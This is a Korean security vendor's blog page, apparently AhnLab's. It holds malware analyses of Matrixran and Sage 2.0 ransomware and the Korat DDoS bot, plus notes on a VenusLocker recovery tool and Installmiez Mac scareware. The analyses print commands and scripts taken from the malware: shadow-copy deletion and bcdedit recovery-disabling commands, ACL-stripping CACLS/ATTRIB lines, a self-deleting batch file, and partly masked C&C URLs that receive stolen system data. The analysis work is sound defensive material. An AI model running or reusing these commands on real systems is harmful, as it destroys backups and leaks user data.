지난 4 7 Matrixran 랜섬웨어가 국내로 유포되고 있음을 안랩의 악성코드 위협 분석 및 클라우드 진단 시스템인 ASD(AhnLab Smart Defense)에서 확인되었다. 해당 랜섬웨어는 RIG-Exploit Kit에 의해 유포되었으며 유포에 사용된 취약점은 CVE-2016-0189 / IE_VB, CVE-2015-2419 / IE _JSON이다. 위 취약점에 노출된 사이트에 접속하는 사용자는 RIG-Exploit Kit에 의해 사용자 모르게 시스템에 랜섬웨어가 감염될 가능성이 있다.

 

해당 랜섬웨어가 Matrixran 랜섬웨어라고 불리는 이유는 랜섬웨어의 첫 번째 버전에 감염되었을 경우 암호화 파일 확장자를 .matrix로 변경시켰기 때문이다. 하지만 현재 유포되고 있는 버전은 세 번째 버전으로서 암호화 파일 확장자는 변경하지 않는다.

 

또한, Matrixran 랜섬웨어는 감염됐을 때 생성되는 HTA 랜섬노트에 사용자는 미연방 정보부의 법률을 위반했다며 체포되지 않으려면 돈을 지급하라는 메시지를 띄운다.

 

[그림 1] 감염됬을 때 생성되는 .HTA 화면


랜섬웨어가 실행되면 [1]과 같은 파일들을 생성하고 %temp% 경로에 자신을 복제한 파일과 그 파일을 삭제하는 배치파일을 다량 생성한다.

 

파일 생성 경로

의미

C:\Users\[사용자명]\AppData\Roaming\Microsoft

\Windows\Start Menu\Programs\Startup\[랜덤8자리].exe.lnk

감염시킬 수 있는 파일을 모두 감염 시키면 [랜덤8자리].exe.lnk 파일을 삭제하고 랜섬웨어 노트를 띄우는 .hta 파일을 시작 프로그램에 등록

C:\Users\[사용자명]\AppData\Roaming\Microsoft

\Windows\Start Menu\Programs\Startup\[랜덤16자리].hta

%Appdata%\[랜덤16자리 폴더 명]\[랜덤8자리].exe

Matrixran 랜섬웨어

%Appdata%\[감염자ID].pek

암호화와 관련된 파일 1

%Appdata%\[감염자ID].sek

암호화와 관련된 파일 2

%Appdata%\errlog.txt

엑세스 거부 등 감염 시 일어나는 에러에 대한 기록

%Appdata%\[랜덤16자리].afn

0kb 크기의 파일로서 해당 파일 존재여부를 통해 처음 감염인지를 판단 1

%Appdata%\[랜덤16자리].ast

0kb 크기의 파일로서 해당 파일 존재여부를 통해 처음 감염인지를 판단 2

%Appdata%\[랜덤16자리].hta

랜섬노트이며 감염이 끝났을 때 시작 프로그램에 추가

%Temp%[랜덤16자리].elst

하드디스크, USB, 네트워크 드라이브 등을 탐색하며 어떠한 파일들이 있는지 크롤링한 결과를 담은 파일

WhatHappenedWithFiles.rtf

감염된 폴더마다 존재하는 랜섬노트

[1] 생성되는 파일 설명

 

생성되는 파일 중 elst 확장자를 갖는 파일을 보면 다음과 같은 내부 데이터를 갖는데 이러한 정보들은 C&C 주소에 업로드된다. 특히 [PRIORITY] – [PRIORITY_END] 사이의 내용은 랜섬웨어 제작자가 관심을 두는 확장자를 포함하고 있다. (DBS, DBF, DBX, MDB, MDF, SDF, XLS, DOC, ODS, ODT, PDF, JPG, TXT)

 

[그림 2] [랜덤16자리].elst 내부 데이터

 

또한, C드라이브, 네트워크 드라이브, USB 드라이브 등 파일 시스템 드라이브들을 검색하면서 발견한 확장자를 모두 [ALL] - [ALL_END] 사이의 태그에 저장하며 자신이 확인한 드라이브 목록은 [PLACES] - [PLACES_END] 태그로 구분하여 저장한다.

 

구분자

의미

[ALL] – [ALL_END]

시스템에 존재하는 모든 확장자

[PRIORITY] – [PRIORITY_END]

파일 암호화 확장자 (ex : TXT, XLS, PPT ..)

[PLACES] – [PLACES_END]

검색한 드라이브 목록

[2] *.elst 파일 내부 구분자 설명

 

아래 WhatHappenedWithFiles.rtf 파일은 감염시킨 폴더 내부마다 생성되는 랜섬노트이며 TAVAb1nrt1pLc2ui 옆에 16자리(8바이트) 숫자는 사용자의 ID를 나타낸다.(현재는 모자이크 처리 상태)

 

랜섬웨어 제작자는 해당 사용자 ID 정보를 통해서 사용자를 식별할 것으로 판단된다.


[그림 3] WhatHappenedWithFiles.rtf 파일

 

Matrixran 랜섬웨어는 암호화에 필요한 파일들을 %APPDATA% 경로에 생성하고 드라이브를 탐색하며 감염시킬 파일목록들을 메모리에 저장하는데 이 때 폴더명, 파일 확장자에 따라 감염 여부를 결정하게 된다.

 

감염에 제외되는 폴더명

\WINDOWS

\PROGRAM FILES

\GAMES

\APPDATA\

\APPLICATION DATA\

\LOCAL SETTINGS\

\TEMP\

\PROGRAMDATA\

\BOOT\

\MSOCACHE\

\DEFAULT USER\

\SAMPLE

\EXAMPLE

\I386

\TEMPORARY

\TOR BROWSER\

\BROWSER

BROWSER\

[3] 감염 제외 폴더 명


감염에 제외되는 확장자명

AST, AFN, EXE, LNK, HTA, PEK, SEK, TMP, ICO, SYS, DAT, RTF, INF, DLL, DAT, REG, DRV, DEV, PIF, MBR, INI, XML, TTF, LOG, JA, COM, BAT, CMD, VBS, JS, CFG, NFO, MSI, CHK, DMP, MUI, DUN, ISP, ISW, CAB, EFI, HELP, MSU, BIN, LNG, HTM, CHM, MP3, OGG, WMA, GIF, CUR, ANI

[4] 감염 제외 확장자명

 

위에서 언급한 확장자, 폴더명을 제외한 나머지 파일에 대해 Matrixran 랜섬웨어는 암호화를 수행하며 네트워크가 차단된 상태에서도 사용자 시스템을 감염시킨다.

 

[그림 4] 감염된 txt 파일과 감염 폴더에 생성되는 rtf 파일

 

랜섬웨어의 감염 코드를 살펴보면 암호화시키려는 파일 크기를 먼저 구하고 암호화를 시키는데 파일 크기를 0x4로 나누어 특정 부분들을 암호화시킨다. 그러므로 4바이트 이하의 파일들은 감염목록에서 제외된다.

 

[그림 5] 파일 암호화 과정

 

[그림 5]에서 명시된 것처럼 파일 크기를 0x4로 나누었을 때 암호화가 이루어지는 부분은 1,2,4번째 부분이다. 그리고 원본 파일의 끝에 [감염자 ID].sek 파일의 데이터(총 크기 0x3DC)와 암호화된 0x10C만큼의 데이터가 덧붙여져 총 파일의 크기는 원본사이즈에 0x4E8(0x3DC + 0x10c)만큼 더해진다.

 

그리고 Matrixran 랜섬웨어는 파일 끝에서의 0x4E8 위치에 0xD1CD9549 문자열을 확인하여 암호화된 파일인지를 확인한다.

 

[그림 6] 암호화된 txt 파일

 

시스템에 존재하는 파일들을 감염시킬 때 다른 랜섬웨어와 달리 Matrixran 랜섬웨어는 특정 파일에 대해 접근권한이 없는 경우 CACLS, ATTRIB 프로그램을 이용하여 파일에 대한 권한 변경 및 속성을 제거 기능을 수행한다. 이때 사용되는 명령어는 5와 같다.

 

명령어

CACLS "[파일명]" /E /G %사용자명%:F /C & ATTRIB -R -A -H "[파일명]"

[5] ACL 권한 변경 기능

 

위 명령어는 파일에 대한 모든 권한을 %사용자명%에 부여하고 ATTRIB 명령어를 통해 해당 파일에 대한 읽기, 숨김, 보관 속성을 지우는 기능을 수행한다.

 

Matrixran 랜섬웨어는 파일 암호화 기능 외에도 WMIC 호출을 통한 볼륨 쉐도우 삭제 기능과 C&C 서버에 접속하여 암호화시킨 파일에 대한 정보를 서버에 전달하는 기능을 갖고 있다.

 

WMIC 명령어

process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default}"

[6] WMIC 명령어 수행

 

명령어

기능

vssadmin.exe delete shadows /all /quiet

볼륨 쉐도우 삭제

bcdedit.exe /set {default}

Windows 오류 복구 알림창 표시 끔

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailure

복구 모드 사용 안함

[7] 볼륨 쉐도우 삭제 기능

 

현재 랜섬웨어의 DNS 서버가 차단되어 있어 어떤 정보를 유출하는지 확인할 수 없지만, 분석 결과 다음과 같은 정보들이 유출되는 것을 예상할 수 있다.

 

[그림 7] DNS 쿼리 실패

 

C&C 주소

http://**at6.s*6.r*3.com.ua/uploadexlist.php

http://**at6.s*6.r*3.com.ua/addrecord.php?apikey=” “&compuser=” “&sid=” ”&phase=” ”

[표 8] 네트워크 접속 시도

먼저 Matrixran 랜섬웨어는 C&C 서버의 /uploadexlit.php 페이지에 *.elst 파일에 저장된 데이터를 전송한다. 이때 전송되는 데이터는 위에서 언급한 것처럼 사용자 시스템에 존재하는 파일들의 확장자 정보와 시스템 내에서 암호화시킬 확장자 정보를 전달한다.

 

/addrecord.php 페이지에는 사용자 이름, 감염 ID 값 등을 전달한다.

 

/addrecord.php에 전달되는 파라미터

의미

apikey=

랜섬웨어가 생성하는 16자리 문자열

compuser=

사용자 이름, 컴퓨터 정보

sid=

랜섬웨어가 생성하는 16자리 sid

phase=

랜섬웨어의 동작상태(START, LOCAL_랜덤 16자리 문자열, WIN_운영체제 버젼정보_32|ADMIN_YES, FILESEXLIST )

[9] /addrecord.php에 전달되는 파라미터 설명

 

랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만, 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

 

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

 

현재 V3 에서 Matrixran 랜섬웨어는 다음 진단명으로 진단하고 있다.

Trojan/Win32.Matrixran (2017.04.08.00)

신고
Posted by myunguk.han

디도스(DDoS) 공격을 목적으로 하는 악성코드가 주로 중국산 디도스 공격 툴과 빌더 프로그램으로 국내에서 제작되어 다양한 경로로 유포되는 정황이 지속해서 확인되고 있다. 악성코드는 감염된 사용자 즉, 봇 PC 내에 상주하여 공격자가 내리는 원격 명령에 따라 작동하고 공격 대상 시스템을 대상으로 디도스 공격을 수행할 수 있다. 안랩에서는 해당 파일을 원격 제어(Remote Access)가 가능한 악성코드란 뜻으로 코렛(Korat) 으로 진단한다.

[그림 1] 디도스 공격 악성코드 동작 흐름

코렛 악성코드는 디도스 공격을 하기 위한 최대한 많은 수의 봇을 확보할 목적으로 사회공학기법을 이용하여 사용자가 많이 다운받거나 사용하는 파일을 위장하여 각종 국내 웹 하드 자료실이나 개인 블로그 등을 통해 유포된다. 대표적으로 주요 소프트웨어 프로그램, 불법 무설치 게임 프로그램, 성인용 음란 동영상 및 게임, 각종 매크로 프로그램 등이 있다. 공격자는 소수의 특징적인 인원이 아닌 디도스 공격 툴과 빌더를 이용하는 불특정 다수이기 때문에 제작된 악성 파일의 외형과 유포 방식이 매우 다양하다. 아래는 확인된 악성코드 유포 방식이다.

  • 정상 프로그램 위장
  • 유명 게임 불법 무설치판
  • 성인용 음란 동영상/게임
  • 매크로 프로그램, 불법 정품 인증 크랙 툴

 

[정상 프로그램 위장]
한글과컴퓨터의 한글2010 소프트웨어를 위장한 파일로 Nullsoft 인스톨러 설치 형태로 유포된다. 파일 내부에는 정상 한글2010 설치 파일과 드로퍼 파일이 존재한다. 해당 드로퍼는 추가 파일을 드롭하고 해당 파일이 코렛 파일을 외부 URL 접속을 통해 다운로드 받아 실행한다.

[그림 2] 한글2010 소프트웨어를 위장한 유포

[그림 3] 유포 파일 내 정상(setup.exe.exe), 악성(svchost.exe) 파일 존재

[유명 게임 불법 무설치판]
스타크래프트, 워크래프트 프로즌쓰론 등의 인기 유료 게임의 불법 무설치 파일, 일명 립버전으로 유포된다. 파일은 특정 URL에 접속하여 악성 파일을 다운로드 받고, 내부에 악성코드를 포함하고 있다.

[그림 4] 브루드워 게임 무설치판을 이용한 유포

[성인용 음란 동영상/게임]
성인용 음란 동영상 또는 게임 파일 형태로, 대부분 토렌트나 성인용 웹하드 등에서 악성 파일이 유포된다.파일 확장자가 *.avi.exe, *.mp4.exe 처럼 동영상 파일을 위장하고 있고 파일 아이콘 역시 동영상 파일로 보이게 제작한다. 성인용 음란 게임은 사용자가 의도한 게임 내에 악성 파일이 함께 압축되어 있어 실행 시 악성 파일이 드롭된다.

[그림 5] 성인용 음란게임 내에 악성코드가 포함된 유포

[매크로 프로그램, 불법 정품 인증 크랙 툴]
매크로 프로그램이나 로또 추첨 프로그램, 불법 정품 인증 크랙 프로그램 등의 파일 내에 악성코드가 유포된다. 이러한 간단한 프로그램류는 대부분 사용자가 온라인 자료실 등 직접 파일을 찾아 다운받는 경우가 많고 해당 파일에 대한 인증서 등 정상 여부 검증 정보가 부족하므로 악성코드 유포 방식으로 이용된다. 유포 파일 내에는 악성 파일 혹은 드로퍼 형태로 존재하여 코렛 악성 파일을 시스템에 생성 및 실행한다. 유형에 따라 코렛 악성코드가 루트킷 등의 추가 악성코드를 시스템에 추가 생성하는 파일도 확인되었다.

[그림 6] 키보드매크로 프로그램을 이용한 유포

다양한 경로를 이용해 유포되는 악성 파일은 대부분 공격자가 사용하는 디도스 공격 툴 내의 빌더 기능을 통해 제작된다. 공격 툴 및 빌더 프로그램은 그 종류가 다양하며 상당수 중국에서 제작되었고, 한국에서 제작된 프로그램도 확인되었다. 일부 중국산 프로그램은 부분 한글 패치가 되어 있어 공격자가 사용하는데 어려움 없게 만들어졌다. 따라서 전문적인 파일 제작 기술이 없이도 툴을 통해 쉽게 파일을 만들고 변종을 만들 수 있다. 공격 툴은 온라인상에서 무료로 구할 수도 있고, 종류에 따라 유료로 불법 거래되기도 한다.

[그림 7] 대표 디도스 공격 툴 프로그램 화면

악성코드는 디도스 공격 툴을 이용하는 공격자의 요청에 따라 동작하기 위해 공격자의 PC에 해당하는 고정된 C&C 주소에 접속을 시도한다. C&C는 IP 또는 DDNS(Dynamic DNS)로 되어 있으며, 대다수 악성코드는 이 중 DDNS 주소를 이용하는 것으로 확인되었다. 별도의 유료 고정IP를 신청한 것이 아닌 일반적으로 인터넷 사업자에게 인터넷 회선을 제공받아 공유기 등을 이용하는 경우 IP가 유동적으로 변하게 되는데, DDNS를 이용하면 도메인 주소를 통해 외부에서 변경된 IP 주소로 접속할 수 있다. 또한 일반적인 가정용 공유기는 기본적으로 DDNS 기능을 제공하기 때문에 간단한 설정으로 외부에서 특정 PC로 접속할 수 있다.

따라서 확인 된 악성코드의 대다수가 IP 대신 DDNS 주소 방식으로 C&C에 접속하고, 파일 제작 역시 디도스 공격 툴을 이용해 쉽게 제작할 수 있다는 점은 공격자가 전문적인 기술을 갖추지 않은 불특정 다수의 스크립트 키디(Script Kiddie) 일 가능성이 높다는 점을 시사한다.

[그림 8] 악성코드 내 하드코딩 되어 있는 DDNS 도메인 

공격자와 연결된 이후에 악성코드 감염 PC의 시스템 정보 확인, 원격 프로세스 제어, 파일 접근, 네트워크 접속 등 원격 제어 백도어 기능을 수행할 수 있다. 악성코드는 Windows 서비스로 등록되어 실행되는데, 실행되는 메인 스레드 내에서 백도어 기능의 핵심적인 스레드 혹은 함수가 호출된다. 해당 스레드 또는 함수는 공통으로 소켓 통신 이후 수신한 데이터를 바탕으로 케이스 분기 별로 기능을 실행하도록 하며 이는 무한 루프 내에 있어 반복적으로 공격자의 명령을 수신할 수 있다.

시스템 정보 확인

HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 레지스트리,
GetVersion, GlobalMemoryStatus, GetIfTable 함수를 이용하여 운영체제 (종류, SP),
프로세서 (MHz, 코어 수), 램 (메모리), 네트워크 (비트레이트) 정보 확인

파일 다운로드 및 실행

파라미터로 입력된 URL 경로를 URLDownloadToFile 함수로 다운
다운로드 이후 WinExec 함수로 실행

서비스 삭제(교체)

파일 내 고정적인 서비스 이름을 찾아서 DeleteService 함수로 삭제
파라미터로 입력된 URL 경로를 URLDownloadToFile 함수로 다운 후 실행
현재 파일의 속성 정보를 SetFileAttributesA 함수로 0x80 파일(NORMAL)로 변경

Internet Explorer 실행

URL 파라미터를 전달하여 iexplorer.exe 프로세스를 ShellExecuteA 함수로 실행

시스템 재부팅

프로세스가 SeShutdownPrivilege 권한을 사용할 수 있도록 LookupPrivilegeValueA 함수로 권한을 얻은 후 ExitWindowsEx 함수를 이용하여 재부팅

디도스 공격 수행

디도스 공격 수행 함수 호출, 스레드 생성

[그림 9] 공격자의 명령에 따라 동작하는 분기 흐름 코드

악성코드는 윈도우 소켓(Socket) 기반 함수를 이용하여 네트워크 통신을 한다. 디도스 공격은 TCP SYN Flood, UDP Flood, HTTP GET 요청 방식이 확인되었다. 공격자에게서 디도스 공격 대상 사이트 주소를 전달받으면 악성 파일은 해당 주소로 다수의 스레드를 생성하여 소켓을 생성 후 send 혹은 sendto 로 데이터를 보내 공격 대상 사이트에 부하를 주게 된다. 감염된 PC 대수가 많을수록 네트워크 부하가 많고 이로 인해 공격 대상 사이트 서버는 임시 다운이 될 수 있다.

[그림 10] 디도스 공격 코드 일부 - 네트워크 패킷을 대량 발생시키는 스레드가 반복문으로 구성

안랩 V3 제품에서는 관련 코렛 악성코드와 디도스 공격 툴 등을 다음과 같은 진단명으로 진단하고 있다.

  • Downloader/Win32.Korddos (2017.01.24.01)
  • Dropper/Win32.Korat (2017.02.24.03)
  • Dropper/Win32.Korddos (2016.11.11.03)
  • Dropper/Win32.Nitol (2015.08.07.05)
  • Trojan/Win32.Ddostool (2017.03.24.04)
  • Trojan/Win32.HackTool (2011.10.18.00)
  • Trojan/Win32.Korat (2017.02.15.07)
  • Trojan/Win32.Nitol (2012.03.07)
  • Trojan/Win32.Scar (2011.06.30.00)
  • Trojan/Win32.MalPack (2014.09.01.03)
  • Trojan/Win32.Generic (2014.05.29.00)
  • Win-Trojan/Scar.109568.U (2011.03.11.00)
  • Win-Trojan/Pcclient.525312 (2011.04.09.00)
  • Win-Trojan/Agent.70144.KG (2011.11.09.00)

 

 

 

신고
Posted by 컴수진

지난 '스팸메일을 통해 유포되는 VenusLocker 랜섬웨어' 글에서는 VenusLocker 랜섬웨어에 대해 소개한 바 있다.

이번 글에서는 해당 랜섬웨어로 감염된 파일 중 일부 복구가 가능한 파일을 대상으로 제작한 복구툴을 다루고자 한다.

복구툴은 VenusLocker 랜섬웨어 공격자의 '명령 제어 (C&C, Command & Control) 서버에 접속이 불가능한' 상황에서 감염된 파일들을 대상으로 한다. (이외에는 복구 불가)


VenusLocker 랜섬웨어는 기타 다른 랜섬웨어와 마찬가지로 특정 파일들을 대상으로 암호화를 수행하는데 특징은 다음과 같다.

1. AES 대칭키 방식으로 암호화

1) 감염 대상 PC 에서 명령 제어 서버에 접속이 불가능한 경우 : 내부에 정의된 키 값 사용

2) 감염 대상 PC 에서 명령 제어 서버에 접속이 가능한 경우 : 키 값을 새로 생성 (이 경우 해당 키 값을 랜섬웨어 내부에 정의된 공개키 값으로 RSA 암호화 후 명령 제어 서버로 전송)

2. 대상 파일 확장자에 따라 다음과 같이 암호화 수행

1) '전체' 암호화 : 파일 전체 암호화

2) '부분' 암호화 : 파일 일부분 암호화 (현재까지 확인된 '일부' 크기는 512 or 1024 bytes)

3. 파일명 Base64 인코딩 및 확장자 변경

1) 원본 파일명과 확장자 전체를 Base64 인코딩한 후 VenusLocker 랜섬웨어 확장자로 변경

(예시)

- 원본 파일명 : 'Changelog.txt'

- 감염 파일명 : 'Y2hhbmdlbG9nLnR4dA==.Venusf'

2) VenusLocker 랜섬웨어 확장자는 대상 파일이 '전체' 암호화인지 '부분' 암호화인지에 따라 다르게 붙여지며 현재까지 확인된 종류는 다음과 같다.

- '전체' 암호화 확장자 : '.Venusf', '.VenusLf', '.VenusLfS'

- '부분' 암호화 확장자 : '.Venusp', '.VenusLp', '.VenusLpS'

(* 감염 대상 확장자 종류 및 상세한 내용은 블로그 '스팸메일을 통해 유포되는 VenusLocker 랜섬웨어' 참고)


위 설명 중 1-1) 처럼 제한적인 환경에서 VenusLocker 랜섬웨어의 감염이 이루어졌을 경우 내부에 정의된 키 값을 구할 수 있으므로 복구가 가능하다.

현재까지 확인된 키 값은 다음과 같다.

BGORMkj&v=u1X0O2hOybNdRvZb9SGGnm 

zyQCCu4Ml*4T=v!YP4oe9S5hbcoTGb8A

[표 1] 내부 키 값

VenusLocker 랜섬웨어에 의해 '부분' 암호화된 파일의 경우에는 복구 시 생성되는 파일이 2개이며 이 중 하나의 파일에서 정상 복구된 파일을 얻을 수 있다.

이는 '부분' 암호화 시 암호화되는 크기가 랜섬웨어마다 상이하기 때문에 확인된 암호화 크기 가짓수만큼 복구 파일을 생성하는 것이다. (감염 파일만으로는 실제 암호화된 크기를 알 수 없음) 

현재까지 확인된 '부분' 암호화 크기는 512, 1024 bytes 2가지이므로 생성된 복구 파일도 2개이며 각각 접두어 [512], [1024] 를 통해 복구 크기를 확인할 수 있다.

[그림 1] '부분' 암호화 파일 (위) 및 복구 파일 (아래)


[그림 2] 복구 실패 파일 (위) 및 정상 복구 파일 (아래)


추가로 '부분' 암호화 파일의 복구 시에는 다음과 같은 문제가 발생할 소지가 있다.

1. 문제 : '부분' 암호화 파일 중 원본 파일 크기가 '부분' 암호화 크기보다 작은 경우

2. 결과 : 복구 파일에 가변적인 더미 데이터 생성 ([그림 3])

(예시)

- 원본 파일 크기 : 632 bytes

- '부분' 암호화 크기 : 1024 bytes

- 복구 파일 크기 : 1024 bytes

[그림 3] 원본 파일 (좌) 및 더미 데이터가 추가된 복구 파일 (우)

(* 위와 같은 문제는 최근 유포되는 VenusLocker 랜섬웨어 감염 파일에서는 나타나지 않는다. 이유는 '부분' 암호화 파일 대상에 확장자뿐만 아니라 파일 크기도 추가되어 2048 bytes 보다 클 경우만 해당되기 때문)


감염 파일의 파일명은 '원본 파일명 + 확장자' 가 Base64 인코딩된 형태에 VenusLocker 랜섬웨어 확장자가 붙은 것이므로 랜섬웨어 확장자 제거 후 동일하게 Base64 디코딩을 이용하여 원본 파일명과 확장자를 구할 수 있다.

(예시)

- 감염 파일명 : W1RFU1RdSFdQLmh3cA==

- Base64 디코딩 후 : [TEST]HWP.hwp

(이때 한글이나 기타 이유로 Base64 디코딩이 실패할 경우 복구툴에서는 랜섬웨어 확장자를 제거한 감염 파일명으로 복구를 진행한다)

[그림 4] 감염 파일 (위) 및 복구 파일 (아래)


위와 같은 사항이 반영된 복구툴은 하기 경로에서 다운로드 가능하다.

다운로드

신고
Posted by jaemin.song

* Installmiez

Installmiez는 ExtInstall, InstallCore 등으로도 불리는 맥 PUP (Potential Unwanted Program)으로 2015년 초 처음 발견되었다. 2015년 최소 4,084개, 2016년 최소 59,125개, 2017년 2월까지 최소 17,473 개가 발견되어 2017년 2월 현재 8 만개 이상의 변형이 확인되었다.  



초기에는 가짜 플래시 플레이어 설치 파일 등으로 가장했지만 최근에는 실제 플래시 플레이어, 동영상 플레이어, 자바 등을 다운로드 해 설치하는 DMG 파일로 배포된다. 그리고 추가로 사용자에게 겁을 줘 과금을 유도하는 스케어웨어(Scareware)를 추가 설치하도록 유도한다. 제작자는 이런 프로그램 설치를 통해 돈을 벌고 있는 것으로 보인다. 

해당 프로그램 설치만으로는 악성코드가 설치되지 않아 트로이목마로 분류하지 않고 잠재적으로 원하지 않는 프로그램 (PUP)로 분류 된다. V3 제품군에서 해당 파일을 진단하기 위해서는 PUP 진단 기능을 활성화 해야 한다.


* DMG 분석


맥OS(macOS) 설치 파일인 DMG 파일로 배포되고 있다. 사용자가 DMG 파일을 연결하면 설치 파일 화면에 나타난다.




Installer.app을 더블클릭하면 변형에 따라 Flash Video Player, HD Video Player, Java 등 중에 하나를 설치하는 화면이 나타난다.

실제 동영상 플레이어 등이 설치된 후 웹브라우저로 특정 사이트 (예 : http://ic-dc.present***conecpt.com 등)로 접속해 시스템에 문제가 있을 수 있으니 점검을 위해 추가 프로그램 다운로드를 권한다. 설치하려는 프로그램에 따라 화면이 조금씩 다르다.

사용자가 다운로드를 승인 할 경우 추가 PUP가 다운로드 되고 더블클릭 하면 설치된다.


* 설치 프로그램 분석

설치 되는 프로그램은 크게 어드벤스드 맥 클리너(Advanced Mac Cleaner), 맥키퍼(MacKeeper), 맥 메카닉(Mac Mechanic), 맥 퓨리파이어(Mac Purifier) 등이다. 이들 프로그램은 맥을 최적화 한다고 하지만 사소한 문제를 큰 문제처럼 과장해 사용자에게 겁을 주고 과금을 요구하는 프로그램으로 스케어웨어(Scareware)에 해당하는 PUP(Potential Unwanted Program)로 볼 수 있다. 특히 맥키퍼 제작사는 피해를 입은 사람들이 제기한 소송에 200 만 달러의 합의금을 내기도 했다.





macOS를 설치한 시스템에서도 수십에서 1,500 개 이상의 문제가 있는 것처럼 보여준다.





사용자가 문제를 해결하려고 앱 내 기능을 사용하면 과금을 요구한다.



* 대응


불필요한 프로그램 (PUP, Potential Unwanted Program) 이므로 기본 검사에서는 진단되지 않는다. V3 제품에서 진단하기 위해서는 검사 대상에서 ‘불필요한 프로그램(PUP)’을 진단 할 수 있게 선택해야 한다.


안랩 V3 제품군에서는 Installmiez DMG 파일은 BinImage/Installmiez 로 진단되며 최종 설치되는 실행 파일들은 프로그램에 따라 진단된다.


OSX-PUP/Amcleaner

OSX-PUP/Macmechanic

OSX-PUP/Mackeeper

OSX-PUP/Macpurifier


* 예방


InstallMiez 뿐만 아니라 다른 악성코드로부터의 완벽한 예방법은 없지만, 다음과 같은 예방법으로 감염 가능성을 최소화할 수는 있다. 참고로 맥OS의 기본 보안 기능으로는 해당 악성코드 설치 및 실행을 막을 수 없다.

1. 최신 macOS 버전을 사용하고 앱스토어(App Store) 업데이트 기능으로 최신 업데이트를 유지한다.


2. 다운로드 해서 앱을 설치 하지 않는다면 앱스토어(APP Store)에서 다운로드 한 앱 허용을 선택한다. ([시스템 환경설정] -> [보안 및 개인 정보 보호]에서 설정 가능)


3. 백신 프로그램의 엔진 버전을 최신으로 유지하고 주기적으로 시스템 검사를 실시한다.


4. 백신 프로그램의 PUP 진단 기능을 활성화 한다.


5. 메일 첨부 파일 또는 다운로드 한 파일이 실행 파일일 경우 의도한 파일이 맞는지 확인한 후 실행한다.


6. 프로그램을 설치 할 때 최종 사용자 사용권 계약(EULA)를 유심히 읽거나 설치 화면에서 불필요한 추가 프로그램 설치가 이뤄지는지 유심히 확인한다.


7. 프로그램을 설치 하기 전에 해당 프로그램의 평판에 대해 알아 본다.



* 결론


맥 사용자가 증가하면서 맥 사용자를 노린 악성코드도 증가하고 있다. 이 중 사용자에게 겁을 줘 과금을 요구하는 PUP (Potential Unwanted Program)성 프로그램의 증가가 뚜렷하다. 인터넷에서 프로그램을 다운로드 할 때는 가급적 해당 프로그램의 평판을 확인할 필요가 있다. 몇몇 업체는 평판까지 속이기 위해 좋은 평의 내용을 올리는 경우도 있으므로 프로그램 다운로드 사이트 댓글 뿐 아니라 검색 엔진을 통해 얼마나 많은 사람들이 해당 앱의 제거를 원하는지도 확인할 필요가 있다.






저작자 표시
신고
Posted by mstoned7

CryLocker 변형으로 알려진 Sage 2.0 랜섬웨어가 악성 스팸 메일 또는 Adobe Flash (SWF) 와 같은 웹 어플리케이션 취약점으로 국내에 유포되고 있음이 안랩의 악성코드 위협 분석 및 클라우드 진단 시스템인 ASD (AhnLab Smart Defense)로 확인되었다. Sage 랜섬웨어는 말하는 랜섬웨어로 알려진 Cerber 와 유사한 증상을 갖는 것으로도 알려져 있다.

Sage2.0 랜섬웨어는 CryLocker 와 동일하게 바로가기 파일(*.lnk) 생성, 암호화 제외 경로 문자열, 암호대상 등 유사한 점이 많으나 기능이 좀 더 추가되고, 암호화 방식이 달라졌다. 그리고, 2월 19일 Sage 2.2 랜섬웨어가 ASD 시스템을 통해서 국내 발견 되었는데, 코드 변화는 있으나 내부 기능은 Sage2.0 랜섬웨어와 동일한 것으로 확인되었다.

CryLocker 랜섬웨어와 동일하게 실행 시 내부에 존재하는 PE 이미지를 메모리 상에서 자기자신에 삽입하여 동작하며 감염 시 아래와 같은 화면을 띄워 사용자에게 금전적 요구를 한다.

[그림1] Sage 2.0 랜섬노트

[그림 2] 금전 요구 화면 (한국어 안내 페이지도 존재)


%appdata%경로에 자신과 동일한 파일을 생성하고, 시작프로그램에 새로 생성한 랜섬웨어에 대한 바로가기 (*.lnk)파일을 생성한다.

- C:\Documents and Settings\[사용자 계정]\Application Data\[랜덤명].exe

- C:\Documents and Settings\[사용자 계정]r\시작 메뉴\프로그램\시작프로그램\[랜덤명].lnk


추가적으로, 실행 파일을 삭제하는 배치파일을 숨김 속성으로 생성하고, Cerber 랜섬웨어처럼 감염사실을 음성을 통해 알려주는 VBS 스크립트 파일도 생성한다.

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\__config[랜덤숫자].bat (hidden)

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\f[랜덤숫자].vbs


[그림 3] %temp%에 생성된 스크립트 파일

:abx

ping 127.0.0.1 -n 2 > nul

del /A /F /Q "[실행파일경로]"

if exist "[실행파일경로]"" goto abx

del /A /F /Q [실행파일경로]"

[표 1] 배치파일 데이터

Set f=//일부제거// ("Scripting.FileSystemObject")

f.DeleteFile Wscript.ScriptFullName, True

Set v=CreateObject("//일부제거//")

v.Speak "Attention! Attention! This is not a test!"

WScript.Sleep(1500)

v.Speak "All you documents, data bases and other important files were encrypted and Windows can not restore them without special software.User action is required as soon as possible to recover the files."

WScript.Sleep(2000)

[표 2] Cerber 와 유사한 VBS 스크립트 파일 데이터


감염대상 드라이브는 “A:\ ,B:\ “를 제외 한 드라이브(C~Z)를 순회하며 파일을 암호화 시킨다.

이 때, 아래 표에 해당하는 문자열이 존재하는 폴더는 암호화 대상에서 제외된다.

[그림 4] 대상 드라이브 찾는 코드


CryLocker보다 4개의 문자열이 추가되었다. (추가 된 문자열 빨간색으로 표시)

[표 3] 암호화 제외 경로 문자열


암호화 대상 확장자는 600개 이상이며, 아래한글 확장자인 .hwp도 포함 된 것을 알 수 있다.

[표 4] 암호화 대상


사용자 정보 (GetVersion, GetUserName, GetComputerName, CPUID, GetAdaptersInfo,

GetKeyboardLayoutList)를 아래 주소로 전송한다.

- mbfce24rgn65bx3g.**.com // 변형마다 달라진다.


